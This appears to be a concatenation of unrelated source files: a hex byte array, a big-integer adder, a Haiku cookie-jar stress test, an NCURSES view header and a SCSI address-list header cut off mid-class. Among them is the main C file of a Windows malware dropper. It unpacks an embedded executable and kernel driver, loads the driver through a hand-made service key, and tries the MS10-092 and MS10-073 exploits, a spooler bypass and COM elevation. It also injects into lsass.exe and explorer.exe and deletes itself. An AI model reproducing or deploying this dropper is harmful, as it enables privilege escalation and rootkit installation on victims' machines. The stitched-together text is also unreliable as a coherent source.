0x78, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04,
0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0xb1, 0x04, 0x76, 0xb1, 0x02,
0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x80,
0x7f, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02, 0x7d, 0x78, 0x78, 0x78, 0x78, 0x78, 0x7b, 0x7b, 0xb1,
0x04, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0x7b, 0x7b, 0x7b, 0x7b, 0x7b,
0x7b, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x79, 0x78, 0x00, 0xf0,
0x12, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0,
0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76,
0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x00, 0xb0, 0x40,
0xcf, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x74, 0x76, 0xce, 0xb1,
0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0xb1,
0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0, 0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1, 0x02, 0xd0, 0xb1, 0x01,
0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc, 0x85, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76, 0x76, 0xcd,
0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76,
0xcc, 0xd0, 0x76, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76, 0xca, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76,
0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0xc9, 0xd0, 0x76, 0x76, 0x76, 0x42,
0xc6, 0xb1, 0x04, 0xd0, 0xc5, 0xd0, 0xc4, 0xd0, 0xc3, 0xd0, 0xc2, 0xd0, 0xc1, 0xb1, 0x0c, 0xd0,
0x00, 0xf0, 0x02, 0xbf, 0x00, 0x35, 0xcf, 0xb1, 0x02, 0x80, 0xbf, 0x00, 0x35, 0xd0, 0x10, 0x04,
0x74, 0x1e, 0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x1e, 0x00, 0x35, 0x2c, 0x74, 0x10,
0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x1e, 0x00, 0x35, 0x2c, 0x74,
0x10, 0x04, 0x74, 0x1e, 0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0xbf, 0x00, 0x35, 0xd0,
0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1e, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x1e, 0x00, 0x48,
0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x2c, 0xb1, 0x02, 0x80, 0xbf, 0x00,
0x48, 0x74, 0xb0, 0x74, 0xbf, 0x00, 0x48, 0x80, 0xbf, 0x00, 0x48, 0x80, 0xbf, 0x00, 0x48, 0x74,
0xb0, 0xb1, 0x04, 0xd0, 0x00, 0x04, 0x05, 0x01, 0x8f, 0x00, 0x02, 0x01, 0x8f, 0x00, 0x03, 0x01,
0x8e, 0x80, 0x04, 0x01, 0x8e, 0x80, 0x05, 0x00, 0x90, 0x00, 0x00, 0x12, 0x13, 0x0d, 0x0f, 0x40,
0x00, 0x0f, 0x0f, 0x80, 0x00, 0x11, 0x0e, 0xc0, 0x00, 0x11, 0x0e, 0x00, 0x01, 0x13, 0x0d, 0x1d,
0x01, 0x12, 0x0d, 0x54, 0x01, 0x13, 0x0c, 0x78, 0x01, 0x13, 0x0c, 0x93, 0x01, 0x11, 0x0b, 0xc5,
0x01, 0x0f, 0x0a, 0xfc, 0x01, 0x0d, 0x09, 0x1b, 0x02, 0x0b, 0x08, 0x2b, 0x02, 0x09, 0x07, 0x59,
0x02, 0x07, 0x06, 0x68, 0x02, 0x05, 0x05, 0x8d, 0x02, 0x03, 0x03, 0xad, 0x02, 0x01, 0x02, 0xce,
0x02, 0x01, 0x01, 0x00, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x01, 0x0c, 0x00, 0x00, 0x01,
0x0c, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01,
0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01,
0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00,
0x00, 0x0d, 0x0e, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0xff, 0xff, 0x00,
0x8d, 0xff, 0xff, 0x00, 0x8d, 0xfe, 0xff, 0x00, 0x8d, 0xfe, 0xff, 0x00, 0x8c, 0xff, 0xff, 0x00,
0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x3f, 0x40, 0x00, 0x8f, 0x00,
0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00,
0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00,
0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x89, 0x00,
0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x88, 0x00,
0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x87, 0x00,
0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x86, 0x00,
0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00,
0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00,
0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00,
0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00,
0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00,
0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00,
0x90, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x03, 0xfe, 0xff, 0x00, 0x00, 0x03, 0x00, 0x04, 0x07,
0x00, 0x03, 0x00, 0x03, 0x07, 0x02, 0x03, 0xfe, 0xff, 0x00,
};
| 156,823 | 151,972 |
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#include <shlobj.h>
#include "ntdll.h"
#include "rc4.h"
#include "secconfig.h"
#include "inet.h"
#include "utils.h"
#include "splice.h"
#include "spooler/spooler.h"
#include "spooler/antiav.h"
#include "ms10_092/ms10_092.h"
#include "ms10_073/ms10_073.h"
#include "inject/inject.h"
#include "com_elevation/com_elevation.h"
#include "xstring.h"
#include "secconfig.h"
#define MAIN_WORK_PROCESS "lsass.exe"
CHAR g_chDllPath[MAX_PATH] = {0};
CHAR g_chExePath[MAX_PATH] = {0};
PVOID g_pvImageBase = NULL;
DWORD g_dwImageSize = 0;
BOOL g_bAdmin = FALSE;
BOOL g_bUAC = FALSE;
BOOL g_bInject = FALSE;
HANDLE g_hMutex = 0;
PVOID g_MainImage = NULL;
typedef struct
{
DWORD dwExeSize;
DWORD dwSysSize;
}
DROPPER_PARAMS, *PDROPPER_PARAMS;
BOOL GetConfigFiles(PVOID *ppvExe, PDWORD pdwExe, PVOID *ppvSys, PDWORD pdwSys)
{
BOOL bRet = FALSE;
PDROPPER_PARAMS pDropperParams;
PVOID pvData;
DWORD dwDataSize;
if (GetSectionConfigData(GetMyBase(), &pvData, &dwDataSize))
{
if (dwDataSize >= sizeof(DROPPER_PARAMS))
{
pDropperParams = (PDROPPER_PARAMS)pvData;
*ppvExe = malloc(pDropperParams->dwExeSize);
if (*ppvExe)
{
CopyMemory(*ppvExe, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS)), pDropperParams->dwExeSize);
*pdwExe = pDropperParams->dwExeSize;
*ppvSys = malloc(pDropperParams->dwSysSize);
if (*ppvSys)
{
CopyMemory(*ppvSys, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS) + pDropperParams->dwExeSize), pDropperParams->dwSysSize);
*pdwSys = pDropperParams->dwSysSize;
bRet = TRUE;
}
if (!bRet) free(*ppvExe);
}
}
free(pvData);
}
return bRet;
}
BOOL GetPrivilege(ULONG Priviliage)
{
BOOL bRet = FALSE;
NTSTATUS St;
BOOLEAN bEnable;
bRet = NT_SUCCESS(RtlAdjustPrivilege(Priviliage,TRUE,FALSE,&bEnable)) || NT_SUCCESS(RtlAdjustPrivilege(Priviliage,TRUE,TRUE,&bEnable));
if (!bRet)
{
PSYSTEM_PROCESSES_INFORMATION Processes = (PSYSTEM_PROCESSES_INFORMATION)GetSystemInformation(SystemProcessInformation);
if (Processes)
{
UNICODE_STRING ProcessName = RTL_CONSTANT_STRING(L"services.exe");
for (PSYSTEM_PROCESSES_INFORMATION Proc=Processes; ; *(ULONG*)&Proc += Proc->NextEntryDelta)
{
if (RtlEqualUnicodeString(&Proc->ProcessName,&ProcessName,TRUE))
{
HANDLE hThread;
OBJECT_ATTRIBUTES ObjAttr;
InitializeObjectAttributes(&ObjAttr,NULL,0,0,0);
St = NtOpenThread(&hThread,THREAD_DIRECT_IMPERSONATION,&ObjAttr,&Proc->Threads[0].ClientId);
if (NT_SUCCESS(St))
{
SECURITY_QUALITY_OF_SERVICE SecurityQos = {0};
SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQos.ImpersonationLevel = SecurityImpersonation;
SecurityQos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
St = NtImpersonateThread(NtCurrentThread(),hThread,&SecurityQos);
if (NT_SUCCESS(St))
{
St = RtlAdjustPrivilege(Priviliage,TRUE,TRUE,&bEnable);
bRet = NT_SUCCESS(St);
if (!bRet)
{
DbgPrint(__FUNCTION__"(): RtlAdjustPrivilege failed with status %x\n",St);
}
}
else
{
DbgPrint(__FUNCTION__"(): NtImpersonateThread failed with status %x\n",St);
}
NtClose(hThread);
}
else
{
DbgPrint(__FUNCTION__"(): NtOpenThread failed with status %x\n",St);
}
break;
}
if (!Proc->NextEntryDelta) break;
}
free(Processes);
}
}
return bRet;
}
VOID StartSys(LPCSTR chSysPath)
{
NTSTATUS St;
BOOL bRet = FALSE;
HKEY hKey;
CHAR chRegPath[MAX_PATH];
WCHAR wcLoadDrv[MAX_PATH];
CHAR chImagePath[MAX_PATH] = "\\??\\";
UNICODE_STRING usStr;
DWORD dwType;
GetPrivilege(SE_LOAD_DRIVER_PRIVILEGE);
DbgPrint(__FUNCTION__"(): driver path '%s'\n",chSysPath);
DWORD dwId = GetTickCount();
_snprintf(chRegPath,RTL_NUMBER_OF(chRegPath)-1,"system\\currentcontrolset\\services\\%x", dwId);
_snwprintf(wcLoadDrv,RTL_NUMBER_OF(wcLoadDrv)-1,L"\\registry\\machine\\system\\currentcontrolset\\services\\%x", dwId);
strncat(chImagePath,chSysPath,sizeof(chImagePath));
if (RegCreateKey(HKEY_LOCAL_MACHINE,chRegPath,&hKey) == ERROR_SUCCESS)
{
RegSetValueEx(hKey,"ImagePath",0,REG_SZ,(LPBYTE)&chImagePath,strlen(chImagePath)+1);
dwType = SERVICE_KERNEL_DRIVER;
RegSetValueEx(hKey,"Type",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));
dwType = SERVICE_DEMAND_START;
RegSetValueEx(hKey,"Start",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));
RegCloseKey(hKey);
RtlInitUnicodeString(&usStr,wcLoadDrv);
St = NtLoadDriver(&usStr);
DbgPrint(__FUNCTION__"(): NtLoadDriver status %x\n",St);
}
else
{
DbgPrint(__FUNCTION__"(): RegCreateKey last error %x\n",GetLastError());
}
}
VOID StartExe(LPSTR lpFilePath)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
BOOL bRet = CreateProcess(NULL,lpFilePath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
if (bRet)
{
DbgPrint(__FUNCTION__"(): ALL OK\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
DbgPrint(__FUNCTION__"(): CreateProcess failed last error %lx\n",GetLastError());
}
}
DWORD MainWorkThread(PVOID pvContext)
{
PVOID pvExe, pvSys;
DWORD dwExe, dwSys;
DbgPrint(__FUNCTION__"(): exe '%s' dll '%s'\n", g_chExePath, g_chDllPath);
if (GetConfigFiles(&pvExe, &dwExe, &pvSys, &dwSys))
{
CHAR chFolderPath[MAX_PATH];
CHAR chExe[MAX_PATH];
CHAR chSys[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);
GetTempFileName(chFolderPath, NULL, GetTickCount(), chExe);
PathRemoveExtension(chExe);
PathAddExtension(chExe, ".exe");
if (FileWrite(chExe, CREATE_ALWAYS, pvExe, dwExe))
{
DbgPrint(__FUNCTION__"(): start exe '%s'\n", chExe);
StartExe(chExe);
}
GetTempFileName(chFolderPath, NULL, GetTickCount(), chSys);
PathRemoveExtension(chSys);
PathAddExtension(chSys, ".sys");
if (FileWrite(chSys, CREATE_ALWAYS, pvSys, dwSys))
{
DbgPrint(__FUNCTION__"(): start sys '%s'\n", chSys);
StartSys(chSys);
}
free(pvExe);
free(pvSys);
}
return 0;
}
VOID InstallAll()
{
MainWorkThread(0);
}
DWORD ExplorerWorkThread(PVOID pvContext)
{
// try com elevation
if (!CreateThreadAndWait(ComElevation, g_chDllPath, 10*60*1000))
{
// if failed work from explorer
MainWorkThread(pvContext);
}
return 0;
}
BOOL DropperDllWork(HMODULE hDll,LPCSTR lpExePath)
{
BOOL bRet = FALSE;
LPTHREAD_START_ROUTINE ThreadRoutine = NULL;
LPCSTR lpExeName = PathFindFileName(lpExePath);
if (!_stricmp(MAIN_WORK_PROCESS,lpExeName))
{
ThreadRoutine = MainWorkThread;
}
else if (!_stricmp("explorer.exe",lpExeName))
{
// explorer
ThreadRoutine = ExplorerWorkThread;
}
else if (!_stricmp("spoolsv.exe",lpExeName))
{
// inject worker process in other session
if (!InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,FALSE))
{
// add ref dll
LoadLibrary(g_chDllPath);
// if failed work from spooler
ThreadRoutine = MainWorkThread;
}
}
else if (!_stricmp("sysprep.exe",lpExeName))
{
// com elevation
// inject worker process in other session
InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,FALSE);
ExitProcess(ERROR_SUCCESS);
}
if (ThreadRoutine)
{
HANDLE hThread = CreateThread(NULL,0,ThreadRoutine,NULL,0,NULL);
if (hThread)
{
bRet = TRUE;
CloseHandle(hThread);
}
}
return bRet;
}
BOOL DropperExeUser()
{
BOOL Ret = FALSE;
// inject explorer process in current session
Ret = InjectProcess("explorer.exe",g_pvImageBase,g_dwImageSize,TRUE);
return Ret;
}
BOOL DropperExeAdmin()
{
BOOL bOk = FALSE;
// setup rpc control port redirection
PortFilterBypassHook();
bOk = SpoolerBypass(g_chDllPath);
if (!bOk)
{
// inject worker process in current session
bOk = InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,TRUE);
}
return bOk;
}
VOID PrepareFirstRun(LPCSTR lpExePath)
{
CHAR chFolderPath[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);
GetTempFileName(chFolderPath, NULL, 0, g_chExePath);
PathRemoveExtension(g_chExePath);
PathAddExtension(g_chExePath, ".exe");
CopyFileA(lpExePath, g_chExePath, FALSE);
GetTempFileName(chFolderPath, NULL, 0, g_chDllPath);
PathRemoveExtension(g_chDllPath);
PathAddExtension(g_chDllPath, ".dll");
CopyFileA(lpExePath, g_chDllPath, FALSE);
SetFileDllFlag(g_chDllPath);
}
VOID DropperExeWork(LPCSTR lpExePath)
{
BOOL bOk = FALSE;
if (!CheckWow64())
{
PrepareFirstRun(lpExePath);
if (g_bAdmin)
{
if (!g_bUAC)
{
// try spooler
bOk = DropperExeAdmin();
}
}
if (!bOk)
{
if (g_bUAC)
{
// try UAC task scheduler exploit
bOk = ExploitMS10_092(g_chExePath);
}
}
if (!bOk)
{
if (!g_bAdmin)
{
// try Win32k keyboard layout exploit
if (ExploitMS10_073())
{
bOk = DropperExeAdmin();
}
}
}
if (!bOk)
{
// try inject
if (!DropperExeUser())
{
InstallAll();
}
}
}
}
VOID GetStaticInformation()
{
MEMORY_BASIC_INFORMATION pMemInfo;
VirtualQuery(GetStaticInformation,&pMemInfo,sizeof(pMemInfo));
g_pvImageBase = pMemInfo.AllocationBase;
g_dwImageSize = RtlImageNtHeader(pMemInfo.AllocationBase)->OptionalHeader.SizeOfImage;
g_bAdmin = CheckAdmin();
g_bUAC = CheckUAC();
}
VOID SelfDelete(LPCSTR ModuleFileName)
{
CHAR TempPath[MAX_PATH];
CHAR TempName[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(TempPath)-1,TempPath);
GetTempFileName(TempPath,NULL,0,TempName);
MoveFileEx(ModuleFileName, TempName, MOVEFILE_REPLACE_EXISTING);
MoveFileEx(TempName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
}
BOOL g_bDll = FALSE;
BOOL Entry(HMODULE hDll,DWORD dwReasonForCall,DWORD dwReserved)
{
BOOL bRet = FALSE;
CHAR chExePath[MAX_PATH];
GetModuleFileName(NULL,chExePath,RTL_NUMBER_OF(chExePath)-1);
GetStaticInformation();
if (hDll && dwReasonForCall == DLL_PROCESS_ATTACH)
{
// dll
g_bDll = TRUE;
g_bInject = dwReserved == 'FWPB';
DbgPrint(__FUNCTION__"(): Dll: %x, Admin: %d, Uac: %d, Inject: %d\n",hDll,g_bAdmin,g_bUAC,g_bInject);
bRet = DropperDllWork(hDll,chExePath);
DbgPrint(__FUNCTION__"(): Dll end ret '%d'\n",bRet);
}
else if (!g_bDll)
{
// exe
DbgPrint(__FUNCTION__"(): Exe: '%s', Admin: %d, Uac: %d\n",chExePath,g_bAdmin,g_bUAC);
DropperExeWork(chExePath);
SelfDelete(chExePath);
DbgPrint(__FUNCTION__"(): Exe end\n");
ExitProcess(ERROR_SUCCESS);
}
return bRet;
} | 10,896 | 5,027 |
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int main()
{
vector<int>n;
string s;
cin>>s;
for(int i=s.size()-1;i>=0;--i)
n.push_back(s[i]-'0');
while(cin>>s)
{
if(s=="0")break;
for(int i=s.size()-1;i>=0;i--)
{
if(i>=n.size())n.push_back(0);
n[s.size()-i-1]+=s[i]-'0';
}
for(int i=0;i<n.size();i++)
{
if(n[i]>9)
{
if(i+1>=n.size())n.push_back(0);
n[i+1]++;
n[i]-=10;
}
}
}
for(int i=n.size()-1;i>=0;--i)
cout<<n[i];
cout<<endl;
return 0;
}
| 714 | 308 |
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <ctime>
#include <iostream>
#include <NetworkKit.h>
#include <SupportKit.h>
using std::cout;
using std::endl;
void stressTest(int32 domainNumber, int32 totalCookies, char** flat, ssize_t* size)
{
char **domains = new char*[domainNumber];
cout << "Creating random domains" << endl;
srand(time(NULL));
for (int32 i = 0; i < domainNumber; i++) {
int16 charNum = (rand() % 16) + 1;
domains[i] = new char[charNum + 5];
// Random domain
for (int32 c = 0; c < charNum; c++)
domains[i][c] = (rand() % 26) + 'a';
domains[i][charNum] = '.';
// Random tld
for (int32 c = 0; c < 3; c++)
domains[i][charNum+1+c] = (rand() % 26) + 'a';
domains[i][charNum+4] = 0;
}
BNetworkCookieJar j;
BStopWatch* watch = new BStopWatch("Cookie insertion");
for (int32 i = 0; i < totalCookies; i++) {
BNetworkCookie c;
int16 domain = (rand() % domainNumber);
BString name("Foo");
name << i;
c.SetName(name);
c.SetValue("Bar");
c.SetDomain(domains[domain]);
c.SetPath("/");
j.AddCookie(c);
}
delete watch;
const BNetworkCookie* c;
int16 domain = (rand() % domainNumber);
BString host("http://");
host << domains[domain] << "/";
watch = new BStopWatch("Cookie filtering");
BUrl url(host);
int32 count = 0;
for (BNetworkCookieJar::UrlIterator it(j.GetUrlIterator(url)); (c = it.Next()); ) {
//for (BNetworkCookieJar::Iterator it(j.GetIterator()); c = it.Next(); ) {
count++;
}
delete watch;
cout << "Count for " << host << ": " << count << endl;
cout << "Flat view of cookie jar is " << j.FlattenedSize() << " bytes large." << endl;
*flat = new char[j.FlattenedSize()];
*size = j.FlattenedSize();
if (j.Flatten(*flat, j.FlattenedSize()) == B_OK)
cout << "Flatten() success!" << endl;
else
cout << "Flatten() error!" << endl;
delete[] domains;
}
int
main(int, char**)
{
cout << "Running stressTest:" << endl;
char* flatJar;
ssize_t size;
stressTest(10000, 40000, &flatJar, &size);
BNetworkCookieJar j;
j.Unflatten(B_ANY_TYPE, flatJar, size);
int32 count = 0;
const BNetworkCookie* c;
for (BNetworkCookieJar::Iterator it(j.GetIterator()); (c = it.Next()); )
count++;
cout << "Count : " << count << endl;
delete[] flatJar;
return EXIT_SUCCESS;
}
| 2,289 | 971 |
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* Copyright (C) 2012-2014 Chuan Ji <ji@chu4n.com> *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
// This file defines the UIView class, a base class for NCURSES-based
// interactive full-screen UIs.
#ifndef UI_VIEW_HPP
#define UI_VIEW_HPP
#include <curses.h>
#include <functional>
#include <mutex>
#include <unordered_map>
// Base class for NCURSES-based interactive full-screen UIs. Implements
// - Static NCURSES window initialization on first construction of any derived
// instances;
// - Static NCURSES window clean up upon destruction on last destruction of
// any derived instances;
// - Main event loop.
class UIView {
public:
// A function that handles key events.
typedef std::function<void(int)> KeyProcessor;
// A map that maps key processing modes (as ints) to key processing methods.
typedef std::unordered_map<int, KeyProcessor> KeyProcessingModeMap;
// Statically initializes an NCURSES window on first construction of any
// derived instances.
explicit UIView(const KeyProcessingModeMap& key_processing_mode_map);
// Statically cleans up an NCURSES window upon last destruction of any derived
// instances.
virtual ~UIView();
protected:
// Renders the current UI. This should be implemented by derived classes.
virtual void Render() = 0;
// Starts the event loop. This will repeatedly call fetch the next keyboard
// event, invoke ProcessKey(), and Render(). Will exit the loop when
// ExitEventLoop() is invoked. initial_mode specifies the initial key
// processing mode.
void EventLoop(int initial_key_processing_mode);
// Causes the event loop to exit.
void ExitEventLoop();
// Switches key processing mode.
void SwitchKeyProcessingMode(int new_key_processing_mode);
// Returns the current key processing mode.
int GetKeyProcessingMode() const { return _key_processing_mode; }
// Returns the full-screen NCURSES window.
WINDOW* GetWindow() const;
private:
// A mutex protecting static members.
static std::mutex _mutex;
// Reference counter. This is the number of derived instances currently
// instantiated. Protected by _mutex.
static int _num_instances;
// The NCURSES WINDOW. Will be nullptr if uninitialized. Protected by _mutex.
static WINDOW* _window;
// Maps key processing modes to the actual handler.
const KeyProcessingModeMap _key_processing_mode_map;
// The current key processing mode.
int _key_processing_mode;
// Whether to exit the event loop.
bool _exit_event_loop;
};
#endif
| 3,765 | 1,034 |
/* Copyright (c) 1996-2004, Adaptec Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name of the Adaptec Corporation nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef SCSILIST_HPP
#define SCSILIST_HPP
/****************************************************************************
*
* Created: 7/20/98
*
*****************************************************************************
*
* File Name: ScsiList.hpp
* Module:
* Contributors: Lee Page
* Description: This file serves as a container class, holding a list of scsi
addresses.
* Version Control:
*
* $Revision$
* $NoKeywords: $
* $Log$
* Revision 1.1.1.1 2004-04-29 10:20:11 bap
* Imported upstream version 0.0.4.
*
*****************************************************************************/
/*** INCLUDES ***/
#include "scsiaddr.hpp"
/*** CONSTANTS ***/
/*** TYPES ***/
/*** STATIC DATA ***/
/*** MACROS ***/
/*** PROTOTYPES ***/
/*** FUNCTIONS ***/
class SCSI_Addr_List
{
public:
SCSI_Addr_List();
SCSI_Addr_List( const SCSI_Addr_List &right );
~SCSI_Addr_List();
SCSI_Addr_List &operator += ( const SCSI_Addr_List &right );
const SCSI_Addr_List & operator = ( const SCSI_Addr_List &right );
void add_Item( const SCSI_Address &address );
// Fetches the nth str (0 based). The user should not
// deallocate the returned address. It is owned by the
// object.
SCSI_Address &get_Item( int index ) const;
// Fetches the next address. The user should not deallocate
// the returned address. It is owned by the object.
SCSI_Address &get_Next_Item();
// FIFO. Removes the first item from the list, and returns it.
SCSI_Address shift_Item();
// Resets the get_Next_Address index to point to the first item.
void reset_Next_Index();
// returns the number of entries minus the index
int num_Left() const;
int get_Num_Items() const { return( num_Items ); }
// returns true if addr is already in the list, false otherwise
bool In_List (const SCSI_Address &addr);
private:
void Destroy_Items();
void Copy_Items( const SCSI_Addr_List &right );
